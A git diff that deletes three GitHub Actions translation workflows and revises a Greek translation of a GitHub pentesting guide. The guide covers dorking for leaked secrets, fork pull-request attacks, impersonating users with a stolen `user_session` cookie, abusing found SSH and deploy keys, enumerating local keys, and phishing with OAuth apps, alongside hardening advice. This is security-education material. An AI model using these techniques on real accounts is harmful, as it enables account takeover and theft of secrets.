LANGUAGE: Turkish
BRANCH: tr
steps:
- name: Checkout code
uses: actions/checkout@v2
with:
fetch-depth: 0 #Needed to download everything to be able to access the master & language branches
- name: Set up Python
uses: actions/setup-python@v2
with:
python-version: 3.8
- name: Install python dependencies
run: |
python -m pip install --upgrade pip
pip3 install openai tqdm tiktoken
# Install Rust and Cargo
- name: Install Rust and Cargo
uses: actions-rs/toolchain@v1
with:
toolchain: stable
override: true
# Install mdBook and Plugins
- name: Install mdBook and Plugins
run: |
cargo install mdbook
cargo install mdbook-alerts
cargo install mdbook-reading-time
cargo install mdbook-pagetoc
cargo install mdbook-tabs
cargo install mdbook-codename
- name: Update & install wget & translator.py
run: |
sudo apt-get update
sudo apt-get install wget -y
cd scripts
rm -f translator.py
wget https://raw.githubusercontent.com/carlospolop/hacktricks-cloud/master/scripts/translator.py
cd ..
- name: Download language branch #Make sure we have last version
run: |
git config --global user.name 'Translator'
git config --global user.email 'github-actions@github.com'
git checkout "$BRANCH"
git pull
git checkout master
- name: Run translation script on changed files
run: |
echo "Starting translations"
echo "Commit: $GITHUB_SHA"
# Export the OpenAI API key as an environment variable
export OPENAI_API_KEY=${{ secrets.OPENAI_API_KEY }}
# Run the translation script on each changed file
git diff --name-only HEAD~1 | grep -v "SUMMARY.md" | while read -r file; do
if echo "$file" | grep -qE '\.md$'; then
echo -n "$file , " >> /tmp/file_paths.txt
else
echo "Skipping $file"
fi
done
echo "Translating $(cat /tmp/file_paths.txt)"
python scripts/translator.py --language "$LANGUAGE" --branch "$BRANCH" --api-key "$OPENAI_API_KEY" -f "$(cat /tmp/file_paths.txt)" -t 3
# Push changes to the repository
- name: Commit and push changes
run: |
git checkout "$BRANCH"
git add -A
git commit -m "Translated $BRANCH files" || true
git push --set-upstream origin "$BRANCH"
# Build the mdBook
- name: Build mdBook
run: mdbook build
# Login in AWs
- name: Configure AWS credentials using OIDC
uses: aws-actions/configure-aws-credentials@v3
with:
role-to-assume: ${{ secrets.AWS_ROLE_ARN }}
aws-region: us-east-1
# Sync the build to S3
- name: Sync to S3
run: aws s3 sync ./book s3://hacktricks-cloud/$BRANCH --delete

View File

@@ -1,119 +0,0 @@
name: Translator to UK (Ukranian)
on:
push:
branches:
- master
paths-ignore:
- 'scripts/**'
- '.gitignore'
- '.github/**'
workflow_dispatch:
concurrency: uk
permissions:
id-token: write
contents: write
jobs:
run-translation:
runs-on: ubuntu-latest
environment: prod
env:
LANGUAGE: Ukranian
BRANCH: uk
steps:
- name: Checkout code
uses: actions/checkout@v2
with:
fetch-depth: 0 #Needed to download everything to be able to access the master & language branches
- name: Set up Python
uses: actions/setup-python@v2
with:
python-version: 3.8
- name: Install python dependencies
run: |
python -m pip install --upgrade pip
pip3 install openai tqdm tiktoken
# Install Rust and Cargo
- name: Install Rust and Cargo
uses: actions-rs/toolchain@v1
with:
toolchain: stable
override: true
# Install mdBook and Plugins
- name: Install mdBook and Plugins
run: |
cargo install mdbook
cargo install mdbook-alerts
cargo install mdbook-reading-time
cargo install mdbook-pagetoc
cargo install mdbook-tabs
cargo install mdbook-codename
- name: Update & install wget & translator.py
run: |
sudo apt-get update
sudo apt-get install wget -y
cd scripts
rm -f translator.py
wget https://raw.githubusercontent.com/carlospolop/hacktricks-cloud/master/scripts/translator.py
cd ..
- name: Download language branch #Make sure we have last version
run: |
git config --global user.name 'Translator'
git config --global user.email 'github-actions@github.com'
git checkout "$BRANCH"
git pull
git checkout master
- name: Run translation script on changed files
run: |
echo "Starting translations"
echo "Commit: $GITHUB_SHA"
# Export the OpenAI API key as an environment variable
export OPENAI_API_KEY=${{ secrets.OPENAI_API_KEY }}
# Run the translation script on each changed file
git diff --name-only HEAD~1 | grep -v "SUMMARY.md" | while read -r file; do
if echo "$file" | grep -qE '\.md$'; then
echo -n "$file , " >> /tmp/file_paths.txt
else
echo "Skipping $file"
fi
done
echo "Translating $(cat /tmp/file_paths.txt)"
python scripts/translator.py --language "$LANGUAGE" --branch "$BRANCH" --api-key "$OPENAI_API_KEY" -f "$(cat /tmp/file_paths.txt)" -t 3
# Push changes to the repository
- name: Commit and push changes
run: |
git checkout "$BRANCH"
git add -A
git commit -m "Translated $BRANCH files" || true
git push --set-upstream origin "$BRANCH"
# Build the mdBook
- name: Build mdBook
run: mdbook build
# Login in AWs
- name: Configure AWS credentials using OIDC
uses: aws-actions/configure-aws-credentials@v3
with:
role-to-assume: ${{ secrets.AWS_ROLE_ARN }}
aws-region: us-east-1
# Sync the build to S3
- name: Sync to S3
run: aws s3 sync ./book s3://hacktricks-cloud/$BRANCH --delete

View File

@@ -1,119 +0,0 @@
name: Translator to ZH (Chinese)
on:
push:
branches:
- master
paths-ignore:
- 'scripts/**'
- '.gitignore'
- '.github/**'
workflow_dispatch:
concurrency: zh
permissions:
id-token: write
contents: write
jobs:
run-translation:
runs-on: ubuntu-latest
environment: prod
env:
LANGUAGE: Chinese
BRANCH: zh
steps:
- name: Checkout code
uses: actions/checkout@v2
with:
fetch-depth: 0 #Needed to download everything to be able to access the master & language branches
- name: Set up Python
uses: actions/setup-python@v2
with:
python-version: 3.8
- name: Install python dependencies
run: |
python -m pip install --upgrade pip
pip3 install openai tqdm tiktoken
# Install Rust and Cargo
- name: Install Rust and Cargo
uses: actions-rs/toolchain@v1
with:
toolchain: stable
override: true
# Install mdBook and Plugins
- name: Install mdBook and Plugins
run: |
cargo install mdbook
cargo install mdbook-alerts
cargo install mdbook-reading-time
cargo install mdbook-pagetoc
cargo install mdbook-tabs
cargo install mdbook-codename
- name: Update & install wget & translator.py
run: |
sudo apt-get update
sudo apt-get install wget -y
cd scripts
rm -f translator.py
wget https://raw.githubusercontent.com/carlospolop/hacktricks-cloud/master/scripts/translator.py
cd ..
- name: Download language branch #Make sure we have last version
run: |
git config --global user.name 'Translator'
git config --global user.email 'github-actions@github.com'
git checkout "$BRANCH"
git pull
git checkout master
- name: Run translation script on changed files
run: |
echo "Starting translations"
echo "Commit: $GITHUB_SHA"
# Export the OpenAI API key as an environment variable
export OPENAI_API_KEY=${{ secrets.OPENAI_API_KEY }}
# Run the translation script on each changed file
git diff --name-only HEAD~1 | grep -v "SUMMARY.md" | while read -r file; do
if echo "$file" | grep -qE '\.md$'; then
echo -n "$file , " >> /tmp/file_paths.txt
else
echo "Skipping $file"
fi
done
echo "Translating $(cat /tmp/file_paths.txt)"
python scripts/translator.py --language "$LANGUAGE" --branch "$BRANCH" --api-key "$OPENAI_API_KEY" -f "$(cat /tmp/file_paths.txt)" -t 3
# Push changes to the repository
- name: Commit and push changes
run: |
git checkout "$BRANCH"
git add -A
git commit -m "Translated $BRANCH files" || true
git push --set-upstream origin "$BRANCH"
# Build the mdBook
- name: Build mdBook
run: mdbook build
# Login in AWs
- name: Configure AWS credentials using OIDC
uses: aws-actions/configure-aws-credentials@v3
with:
role-to-assume: ${{ secrets.AWS_ROLE_ARN }}
aws-region: us-east-1
# Sync the build to S3
- name: Sync to S3
run: aws s3 sync ./book s3://hacktricks-cloud/$BRANCH --delete

View File

@@ -14,17 +14,17 @@ basic-github-information.md
## Εξωτερική Αναγνώριση
Οι αποθήκες του Github μπορούν να ρυθμιστούν ως δημόσιες, ιδιωτικές και εσωτερικές.
Τα αποθετήρια του Github μπορούν να ρυθμιστούν ως δημόσια, ιδιωτικά και εσωτερικά.
- **Ιδιωτική** σημαίνει ότι **μόνο** οι άνθρωποι της **οργάνωσης** θα μπορούν να έχουν πρόσβαση σε αυτές
- **Εσωτερική** σημαίνει ότι **μόνο** οι άνθρωποι της **επιχείρησης** (μια επιχείρηση μπορεί να έχει πολλές οργανώσεις) θα μπορούν να έχουν πρόσβαση σε αυτή
- **Δημόσια** σημαίνει ότι **όλο το διαδίκτυο** θα μπορεί να έχει πρόσβαση σε αυτή.
- **Ιδιωτικά** σημαίνει ότι **μόνο** οι άνθρωποι της **οργάνωσης** θα μπορούν να τα προσπελάσουν
- **Εσωτερικά** σημαίνει ότι **μόνο** οι άνθρωποι της **επιχείρησης** (μια επιχείρηση μπορεί να έχει πολλές οργανώσεις) θα μπορούν να το προσπελάσουν
- **Δημόσια** σημαίνει ότι **όλο το διαδίκτυο** θα μπορεί να το προσπελάσει.
Σε περίπτωση που γνωρίζετε τον **χρήστη, την αποθήκη ή την οργάνωση που θέλετε να στοχεύσετε**, μπορείτε να χρησιμοποιήσετε **github dorks** για να βρείτε ευαίσθητες πληροφορίες ή να αναζητήσετε **ευαίσθητες διαρροές πληροφοριών** **σε κάθε αποθήκη**.
Σε περίπτωση που γνωρίζετε τον **χρήστη, το αποθετήριο ή την οργάνωση που θέλετε να στοχεύσετε**, μπορείτε να χρησιμοποιήσετε **github dorks** για να βρείτε ευαίσθητες πληροφορίες ή να αναζητήσετε **ευαίσθητες πληροφορίες διαρροών** **σε κάθε αποθετήριο**.
### Github Dorks
Το Github επιτρέπει να **αναζητάτε κάτι καθορίζοντας ως πεδίο έναν χρήστη, μια αποθήκη ή μια οργάνωση**. Επομένως, με μια λίστα από συμβολοσειρές που θα εμφανίζονται κοντά σε ευαίσθητες πληροφορίες μπορείτε εύκολα να **αναζητήσετε πιθανές ευαίσθητες πληροφορίες στον στόχο σας**.
Το Github επιτρέπει να **αναζητάτε κάτι καθορίζοντας ως πεδίο έναν χρήστη, ένα αποθετήριο ή μια οργάνωση**. Επομένως, με μια λίστα από συμβολοσειρές που θα εμφανίζονται κοντά σε ευαίσθητες πληροφορίες, μπορείτε εύκολα να **αναζητήσετε πιθανές ευαίσθητες πληροφορίες στον στόχο σας**.
Εργαλεία (κάθε εργαλείο περιέχει τη λίστα του με dorks):
@@ -34,28 +34,22 @@ basic-github-information.md
### Github Leaks
Παρακαλώ σημειώστε ότι οι github dorks προορίζονται επίσης για αναζήτηση διαρροών χρησιμοποιώντας τις επιλογές αναζήτησης του github. Αυτή η ενότητα είναι αφιερωμένη σε αυτά τα εργαλεία που θα **κατεβάσουν κάθε αποθήκη και θα αναζητήσουν ευαίσθητες πληροφορίες σε αυτές** (ακόμη και ελέγχοντας ορισμένο βάθος commits).
Παρακαλώ σημειώστε ότι οι github dorks προορίζονται επίσης για αναζητήσεις διαρροών χρησιμοποιώντας τις επιλογές αναζήτησης του github. Αυτή η ενότητα είναι αφιερωμένη σε εκείνα τα εργαλεία που θα **κατεβάσουν κάθε αποθετήριο και θα αναζητήσουν ευαίσθητες πληροφορίες σε αυτά** (ακόμη και ελέγχοντας ορισμένο βάθος commits).
Εργαλεία (κάθε εργαλείο περιέχει τη λίστα του με regex):
- [https://github.com/zricethezav/gitleaks](https://github.com/zricethezav/gitleaks)
- [https://github.com/trufflesecurity/truffleHog](https://github.com/trufflesecurity/truffleHog)
- [https://github.com/eth0izzle/shhgit](https://github.com/eth0izzle/shhgit)
- [https://github.com/michenriksen/gitrob](https://github.com/michenriksen/gitrob)
- [https://github.com/anshumanbh/git-all-secrets](https://github.com/anshumanbh/git-all-secrets)
- [https://github.com/kootenpv/gittyleaks](https://github.com/kootenpv/gittyleaks)
- [https://github.com/awslabs/git-secrets](https://github.com/awslabs/git-secrets)
Δείτε αυτή τη σελίδα: **[https://book.hacktricks.wiki/en/generic-methodologies-and-resources/external-recon-methodology/github-leaked-secrets.html](https://book.hacktricks.wiki/en/generic-methodologies-and-resources/external-recon-methodology/github-leaked-secrets.html)**
> [!WARNING]
> Όταν αναζητάτε διαρροές σε μια αποθήκη και εκτελείτε κάτι όπως `git log -p` μην ξεχάσετε ότι μπορεί να υπάρχουν **άλλες branches με άλλα commits** που περιέχουν μυστικά!
> Όταν αναζητάτε διαρροές σε ένα αποθετήριο και εκτελείτε κάτι όπως `git log -p`, μην ξεχάσετε ότι μπορεί να υπάρχουν **άλλες branches με άλλα commits** που περιέχουν μυστικά!
### Εξωτερικά Forks
Είναι δυνατόν να **συμβιβαστούν αποθήκες εκμεταλλευόμενοι pull requests**. Για να γνωρίζετε αν μια αποθήκη είναι ευάλωτη, πρέπει κυρίως να διαβάσετε τις ρυθμίσεις yaml των Github Actions. [**Περισσότερες πληροφορίες παρακάτω**](./#execution-from-a-external-fork).
Είναι δυνατόν να **συμβιβάσετε αποθετήρια εκμεταλλευόμενοι τα pull requests**. Για να γνωρίζετε αν ένα αποθετήριο είναι ευάλωτο, πρέπει κυρίως να διαβάσετε τις ρυθμίσεις yaml των Github Actions. [**Περισσότερες πληροφορίες παρακάτω**](#execution-from-a-external-fork).
### Github Leaks σε διαγραμμένα/εσωτερικά forks
Ακόμη και αν είναι διαγραμμένα ή εσωτερικά, μπορεί να είναι δυνατό να αποκτήσετε ευαίσθητα δεδομένα από forks αποθηκών του github. Ελέγξτε το εδώ:
Ακόμη και αν είναι διαγραμμένα ή εσωτερικά, μπορεί να είναι δυνατό να αποκτήσετε ευαίσθητα δεδομένα από forks αποθετηρίων του github. Ελέγξτε το εδώ:
{{#ref}}
accessible-deleted-data-in-github.md
@@ -67,62 +61,62 @@ accessible-deleted-data-in-github.md
Υπάρχουν ορισμένα **προεπιλεγμένα προνόμια** που μπορούν να ανατεθούν σε **μέλη** της οργάνωσης. Αυτά μπορούν να ελεγχθούν από τη σελίδα `https://github.com/organizations/<org_name>/settings/member_privileges` ή από το [**Organizations API**](https://docs.github.com/en/rest/orgs/orgs).
- **Βασικές άδειες**: Τα μέλη θα έχουν την άδεια Καμία/Ανάγνωση/Γράψιμο/Διαχείριση πάνω στις αποθήκες της οργάνωσης. Συνιστάται να είναι **Καμία** ή **Ανάγνωση**.
- **Forking αποθήκης**: Αν δεν είναι απαραίτητο, είναι καλύτερα να **μην επιτρέπεται** στα μέλη να fork-άρουν τις αποθήκες της οργάνωσης.
- **Δημιουργία σελίδων**: Αν δεν είναι απαραίτητο, είναι καλύτερα να **μην επιτρέπεται** στα μέλη να δημοσιεύουν σελίδες από τις αποθήκες της οργάνωσης. Αν είναι απαραίτητο, μπορείτε να επιτρέψετε τη δημιουργία δημόσιων ή ιδιωτικών σελίδων.
- **Αιτήματα πρόσβασης για ενσωμάτωσεις**: Με αυτό ενεργοποιημένο, οι εξωτερικοί συνεργάτες θα μπορούν να ζητούν πρόσβαση για εφαρμογές GitHub ή OAuth να έχουν πρόσβαση σε αυτή την οργάνωση και τους πόρους της. Συνήθως είναι απαραίτητο, αλλά αν όχι, είναι καλύτερα να το απενεργοποιήσετε.
- **Βασικές άδειες**: Τα μέλη θα έχουν την άδεια None/Read/write/Admin πάνω στα αποθετήρια της οργάνωσης. Συνιστάται το **None** ή **Read**.
- **Forking αποθετηρίων**: Αν δεν είναι απαραίτητο, είναι καλύτερα να **μην επιτρέπεται** στα μέλη να fork-άρουν τα αποθετήρια της οργάνωσης.
- **Δημιουργία σελίδων**: Αν δεν είναι απαραίτητο, είναι καλύτερα να **μην επιτρέπεται** στα μέλη να δημοσιεύουν σελίδες από τα αποθετήρια της οργάνωσης. Αν είναι απαραίτητο, μπορείτε να επιτρέψετε τη δημιουργία δημόσιων ή ιδιωτικών σελίδων.
- **Αιτήματα πρόσβασης για ενσωματώσεις**: Με αυτό ενεργοποιημένο, οι εξωτερικοί συνεργάτες θα μπορούν να ζητούν πρόσβαση για εφαρμογές GitHub ή OAuth να έχουν πρόσβαση σε αυτή την οργάνωση και τους πόρους της. Συνήθως είναι απαραίτητο, αλλά αν όχι, είναι καλύτερα να το απενεργοποιήσετε.
- _Δεν μπόρεσα να βρω αυτές τις πληροφορίες στην απάντηση των APIs, μοιραστείτε αν το κάνετε_
- **Αλλαγή ορατότητας αποθήκης**: Αν είναι ενεργοποιημένο, τα **μέλη** με **δικαιώματα διαχείρισης** για την **αποθήκη** θα μπορούν να **αλλάξουν την ορατότητά της**. Αν είναι απενεργοποιημένο, μόνο οι ιδιοκτήτες της οργάνωσης μπορούν να αλλάξουν τις ορατότητες των αποθηκών. Αν **δεν** θέλετε οι άνθρωποι να κάνουν πράγματα **δημόσια**, βεβαιωθείτε ότι αυτό είναι **απενεργοποιημένο**.
- **Αλλαγή ορατότητας αποθετηρίου**: Αν είναι ενεργοποιημένο, **τα μέλη** με **admin** δικαιώματα για το **αποθετήριο** θα μπορούν να **αλλάξουν την ορατότητά** του. Αν είναι απενεργοποιημένο, μόνο οι ιδιοκτήτες της οργάνωσης μπορούν να αλλάξουν τις ορατότητες των αποθετηρίων. Αν **δεν** θέλετε οι άνθρωποι να κάνουν τα πράγματα **δημόσια**, βεβαιωθείτε ότι αυτό είναι **απενεργοποιημένο**.
- _Δεν μπόρεσα να βρω αυτές τις πληροφορίες στην απάντηση των APIs, μοιραστείτε αν το κάνετε_
- **Διαγραφή και μεταφορά αποθήκης**: Αν είναι ενεργοποιημένο, τα μέλη με **δικαιώματα διαχείρισης** για την αποθήκη θα μπορούν να **διαγράψουν** ή να **μεταφέρουν** δημόσιες και ιδιωτικές **αποθήκες**.
- **Διαγραφή και μεταφορά αποθετηρίων**: Αν είναι ενεργοποιημένο, τα μέλη με **admin** δικαιώματα για το αποθετήριο θα μπορούν να **διαγράψουν** ή να **μεταφέρουν** δημόσια και ιδιωτικά **αποθετήρια.**
- _Δεν μπόρεσα να βρω αυτές τις πληροφορίες στην απάντηση των APIs, μοιραστείτε αν το κάνετε_
- **Επιτρέψτε στα μέλη να δημιουργούν ομάδες**: Αν είναι ενεργοποιημένο, οποιοδήποτε **μέλος** της οργάνωσης θα μπορεί να **δημιουργήσει** νέες **ομάδες**. Αν είναι απενεργοποιημένο, μόνο οι ιδιοκτήτες της οργάνωσης μπορούν να δημιουργήσουν νέες ομάδες. Είναι καλύτερα να είναι αυτό απενεργοποιημένο.
- **Επιτρέψτε στα μέλη να δημιουργούν ομάδες**: Αν είναι ενεργοποιημένο, οποιοδήποτε **μέλος** της οργάνωσης θα μπορεί να **δημιουργήσει** νέες **ομάδες**. Αν είναι απενεργοποιημένο, μόνο οι ιδιοκτήτες της οργάνωσης μπορούν να δημιουργήσουν νέες ομάδες. Είναι καλύτερα να έχετε αυτό απενεργοποιημένο.
- _Δεν μπόρεσα να βρω αυτές τις πληροφορίες στην απάντηση των APIs, μοιραστείτε αν το κάνετε_
- **Περισσότερα πράγματα μπορούν να ρυθμιστούν** σε αυτή τη σελίδα αλλά τα προηγούμενα είναι τα πιο σχετιζόμενα με την ασφάλεια.
- **Περισσότερα πράγματα μπορούν να ρυθμιστούν** σε αυτή τη σελίδα, αλλά τα προηγούμενα είναι τα πιο σχετιζόμενα με την ασφάλεια.
### Ρυθμίσεις Δράσεων
Διάφορες ρυθμίσεις σχετικές με την ασφάλεια μπορούν να ρυθμιστούν για τις δράσεις από τη σελίδα `https://github.com/organizations/<org_name>/settings/actions`.
> [!NOTE]
> Σημειώστε ότι όλες αυτές οι ρυθμίσεις μπορούν επίσης να ρυθμιστούν σε κάθε αποθήκη ανεξάρτητα
> Σημειώστε ότι όλες αυτές οι ρυθμίσεις μπορούν επίσης να οριστούν σε κάθε αποθετήριο ανεξάρτητα
- **Πολιτικές δράσεων Github**: Σας επιτρέπει να υποδείξετε ποιες αποθήκες μπορούν να εκτελούν workflows και ποιες workflows θα πρέπει να επιτρέπονται. Συνιστάται να **καθορίσετε ποιες αποθήκες** θα πρέπει να επιτρέπονται και να μην επιτρέπετε σε όλες τις δράσεις να εκτελούνται.
- **Πολιτικές δράσεων Github**: Σας επιτρέπει να υποδείξετε ποια αποθετήρια μπορούν να εκτελούν workflows και ποια workflows θα πρέπει να επιτρέπονται. Συνιστάται να **καθορίσετε ποια αποθετήρια** θα πρέπει να επιτρέπονται και να μην επιτρέπετε σε όλες τις δράσεις να εκτελούνται.
- [**API-1**](https://docs.github.com/en/rest/actions/permissions#get-allowed-actions-and-reusable-workflows-for-an-organization)**,** [**API-2**](https://docs.github.com/en/rest/actions/permissions#list-selected-repositories-enabled-for-github-actions-in-an-organization)
- **Fork pull request workflows από εξωτερικούς συνεργάτες**: Συνιστάται να **απαιτείται έγκριση για όλους** τους εξωτερικούς συνεργάτες.
- _Δεν μπόρεσα να βρω ένα API με αυτές τις πληροφορίες, μοιραστείτε αν το κάνετε_
- **Εκτέλεση workflows από fork pull requests**: Είναι πολύ **ανεπιθύμητο να εκτελούνται workflows από pull requests** καθώς οι διαχειριστές της προέλευσης fork θα αποκτούν τη δυνατότητα να χρησιμοποιούν tokens με δικαιώματα ανάγνωσης στην αποθήκη προέλευσης.
- **Εκτέλεση workflows από fork pull requests**: Είναι πολύ **απαγορευμένο να εκτελούνται workflows από pull requests** καθώς οι διαχειριστές της προέλευσης του fork θα αποκτήσουν τη δυνατότητα να χρησιμοποιούν tokens με δικαιώματα ανάγνωσης στο αποθετήριο προέλευσης.
- _Δεν μπόρεσα να βρω ένα API με αυτές τις πληροφορίες, μοιραστείτε αν το κάνετε_
- **Δικαιώματα workflows**: Συνιστάται να **δίνονται μόνο δικαιώματα ανάγνωσης αποθήκης**. Είναι ανεπιθύμητο να δίνονται δικαιώματα γραφής και δημιουργίας/έγκρισης pull requests για να αποφευχθεί η κακή χρήση του GITHUB_TOKEN που δίνεται για την εκτέλεση workflows.
- **Δικαιώματα workflows**: Συνιστάται να **δίνονται μόνο δικαιώματα ανάγνωσης αποθετηρίου**. Είναι απαγορευμένο να δίνονται δικαιώματα εγγραφής και δημιουργίας/έγκρισης pull requests για να αποφευχθεί η κακή χρήση του GITHUB_TOKEN που δίνεται για την εκτέλεση workflows.
- [**API**](https://docs.github.com/en/rest/actions/permissions#get-default-workflow-permissions-for-an-organization)
### Ενσωματώσεις
_Ενημερώστε με αν γνωρίζετε το API endpoint για να αποκτήσετε αυτές τις πληροφορίες!_
- **Πολιτική πρόσβασης εφαρμογών τρίτων**: Συνιστάται να περιορίζετε την πρόσβαση σε κάθε εφαρμογή και να επιτρέπετε μόνο τις απαραίτητες (μετά από ανασκόπηση τους).
- **Εγκατεστημένες εφαρμογές GitHub**: Συνιστάται να επιτρέπονται μόνο οι απαραίτητες (μετά από ανασκόπηση τους).
- **Πολιτική πρόσβασης εφαρμογών τρίτων**: Συνιστάται να περιορίζετε την πρόσβαση σε κάθε εφαρμογή και να επιτρέπετε μόνο τις απαραίτητες (μετά από ανασκόπηση).
- **Εγκατεστημένες εφαρμογές GitHub**: Συνιστάται να επιτρέπετε μόνο τις απαραίτητες (μετά από ανασκόπηση).
## Αναγνώριση & Επιθέσεις εκμεταλλευόμενοι διαπιστευτήρια
## Αναγνώριση & Επιθέσεις εκμεταλλευόμενες διαπιστευτήρια
Για αυτό το σενάριο θα υποθέσουμε ότι έχετε αποκτήσει κάποια πρόσβαση σε έναν λογαριασμό github.
### Με Διαπιστευτήρια Χρήστη
Αν έχετε κάπως ήδη διαπιστευτήρια για έναν χρήστη μέσα σε μια οργάνωση μπορείτε **απλά να συνδεθείτε** και να ελέγξετε ποιους **ρόλους επιχείρησης και οργάνωσης έχετε**, αν είστε απλός μέλος, ελέγξτε ποια **δικαιώματα έχουν τα απλά μέλη**, σε ποιες **ομάδες** είστε, ποια **δικαιώματα έχετε** πάνω σε ποιες **αποθήκες,** και **πώς είναι προστατευμένες οι αποθήκες.**
Αν έχετε κάπως ήδη διαπιστευτήρια για έναν χρήστη μέσα σε μια οργάνωση, μπορείτε **απλά να συνδεθείτε** και να ελέγξετε ποιους **ρόλους επιχείρησης και οργάνωσης έχετε**, αν είστε απλός μέλος, ελέγξτε ποια **δικαιώματα έχουν τα απλά μέλη**, σε ποιες **ομάδες** είστε, ποια **δικαιώματα έχετε** πάνω σε ποια **αποθετήρια,** και **πώς είναι προστατευμένα τα αποθετήρια.**
Σημειώστε ότι **η 2FA μπορεί να χρησιμοποιείται** οπότε θα μπορείτε να έχετε πρόσβαση σε αυτές τις πληροφορίες μόνο αν μπορείτε επίσης να **περάσετε αυτόν τον έλεγχο**.
> [!NOTE]
> Σημειώστε ότι αν **καταφέρετε να κλέψετε το cookie `user_session`** (προς το παρόν ρυθμισμένο με SameSite: Lax) μπορείτε να **παριστάνετε πλήρως τον χρήστη** χωρίς να χρειάζεστε διαπιστευτήρια ή 2FA.
> Σημειώστε ότι αν **καταφέρετε να κλέψετε το cookie `user_session`** (τώρα ρυθμισμένο με SameSite: Lax) μπορείτε να **παριστάνετε πλήρως τον χρήστη** χωρίς να χρειάζεστε διαπιστευτήρια ή 2FA.
Ελέγξτε την παρακάτω ενότητα σχετικά με [**παρακάμψεις προστασίας branch**](./#branch-protection-bypass) σε περίπτωση που είναι χρήσιμη.
Ελέγξτε την παρακάτω ενότητα σχετικά με [**παρακάμψεις προστασίας branch**](#branch-protection-bypass) σε περίπτωση που είναι χρήσιμη.
### Με Κλειδί SSH Χρήστη
Το Github επιτρέπει στους **χρήστες** να ρυθμίζουν **κλειδιά SSH** που θα χρησιμοποιούνται ως **μέθοδος αυθεντικοποίησης για την ανάπτυξη κώδικα** εκ μέρους τους (δεν εφαρμόζεται 2FA).
Με αυτό το κλειδί μπορείτε να κάνετε **αλλαγές σε αποθήκες όπου ο χρήστης έχει κάποια προνόμια**, ωστόσο δεν μπορείτε να το χρησιμοποιήσετε για να αποκτήσετε πρόσβαση στο api του github για να καταγράψετε το περιβάλλον. Ωστόσο, μπορείτε να **καταγράψετε τις τοπικές ρυθμίσεις** για να αποκτήσετε πληροφορίες σχετικά με τις αποθήκες και τον χρήστη που έχετε πρόσβαση:
Με αυτό το κλειδί μπορείτε να κάνετε **αλλαγές σε αποθετήρια όπου ο χρήστης έχει κάποια προνόμια**, ωστόσο δεν μπορείτε να το χρησιμοποιήσετε για να αποκτήσετε πρόσβαση στο github api για να καταγράψετε το περιβάλλον. Ωστόσο, μπορείτε να **καταγράψετε τις τοπικές ρυθμίσεις** για να αποκτήσετε πληροφορίες σχετικά με τα αποθετήρια και τον χρήστη που έχετε πρόσβαση:
```bash
# Go to the the repository folder
# Get repo config and current user name and email
@@ -130,11 +124,11 @@ git config --list
```
Αν ο χρήστης έχει ρυθμίσει το όνομα χρήστη του ως το όνομα χρήστη του github, μπορείτε να αποκτήσετε πρόσβαση στα **δημόσια κλειδιά που έχει ρυθμίσει** στον λογαριασμό του στο _https://github.com/\<github_username>.keys_, μπορείτε να το ελέγξετε αυτό για να επιβεβαιώσετε ότι το ιδιωτικό κλειδί που βρήκατε μπορεί να χρησιμοποιηθεί.
**SSH κλειδιά** μπορούν επίσης να ρυθμιστούν σε αποθετήρια ως **κλειδιά ανάπτυξης**. Οποιοσδήποτε έχει πρόσβαση σε αυτό το κλειδί θα μπορεί να **εκκινήσει έργα από ένα αποθετήριο**. Συνήθως σε έναν διακομιστή με διαφορετικά κλειδιά ανάπτυξης, το τοπικό αρχείο **`~/.ssh/config`** θα σας δώσει πληροφορίες σχετικά με το ποιο κλειδί σχετίζεται.
**SSH keys** μπορούν επίσης να ρυθμιστούν σε αποθετήρια ως **deploy keys**. Οποιοσδήποτε έχει πρόσβαση σε αυτό το κλειδί θα μπορεί να **εκκινήσει έργα από ένα αποθετήριο**. Συνήθως σε έναν διακομιστή με διαφορετικά deploy keys, το τοπικό αρχείο **`~/.ssh/config`** θα σας δώσει πληροφορίες σχετικά με το ποιο κλειδί σχετίζεται.
#### GPG Κλειδιά
#### GPG Keys
Όπως εξηγήθηκε [**εδώ**](https://github.com/carlospolop/hacktricks-cloud/blob/master/pentesting-ci-cd/github-security/broken-reference/README.md), μερικές φορές είναι απαραίτητο να υπογράψετε τις δεσμεύσεις ή μπορεί να σας ανακαλύψουν.
Όπως εξηγείται [**εδώ**](https://github.com/carlospolop/hacktricks-cloud/blob/master/pentesting-ci-cd/github-security/broken-reference/README.md), μερικές φορές είναι απαραίτητο να υπογράψετε τις δεσμεύσεις ή μπορεί να σας ανακαλύψουν.
Ελέγξτε τοπικά αν ο τρέχων χρήστης έχει κάποιο κλειδί με:
```shell
@@ -144,7 +138,7 @@ gpg --list-secret-keys --keyid-format=long
Για μια εισαγωγή σχετικά με [**Tokens Χρήστη ελέγξτε τις βασικές πληροφορίες**](basic-github-information.md#personal-access-tokens).
Ένα token χρήστη μπορεί να χρησιμοποιηθεί **αντί για έναν κωδικό πρόσβασης** για το Git μέσω HTTPS, ή μπορεί να χρησιμοποιηθεί για [**αυθεντικοποίηση στην API μέσω Βασικής Αυθεντικοποίησης**](https://docs.github.com/v3/auth/#basic-authentication). Ανάλογα με τα δικαιώματα που συνδέονται με αυτό, μπορεί να είστε σε θέση να εκτελέσετε διάφορες ενέργειες.
Ένα token χρήστη μπορεί να χρησιμοποιηθεί **αντί για κωδικό πρόσβασης** για το Git μέσω HTTPS, ή μπορεί να χρησιμοποιηθεί για [**αυθεντικοποίηση στην API μέσω Βασικής Αυθεντικοποίησης**](https://docs.github.com/v3/auth/#basic-authentication). Ανάλογα με τα δικαιώματα που συνδέονται με αυτό, μπορεί να είστε σε θέση να εκτελέσετε διάφορες ενέργειες.
Ένα token χρήστη φαίνεται έτσι: `ghp_EfHnQFcFHX6fGIu5mpduvRiYR584kK0dX123`
@@ -154,7 +148,7 @@ gpg --list-secret-keys --keyid-format=long
Ένας επιτιθέμενος μπορεί να δημιουργήσει μια **κακόβουλη Εφαρμογή Oauth** για να αποκτήσει πρόσβαση σε προνομιακά δεδομένα/ενέργειες των χρηστών που τις αποδέχονται πιθανώς ως μέρος μιας εκστρατείας phishing.
Αυτές είναι οι [σκοποί που μπορεί να ζητήσει μια εφαρμογή Oauth](https://docs.github.com/en/developers/apps/building-oauth-apps/scopes-for-oauth-apps). Ένας χρήστης θα πρέπει πάντα να ελέγχει τους σκοπούς που ζητούνται πριν τους αποδεχτεί.
Αυτές είναι οι [περιοχές που μπορεί να ζητήσει μια εφαρμογή Oauth](https://docs.github.com/en/developers/apps/building-oauth-apps/scopes-for-oauth-apps). Ένας χρήστης θα πρέπει πάντα να ελέγχει τις περιοχές που ζητούνται πριν τις αποδεχτεί.
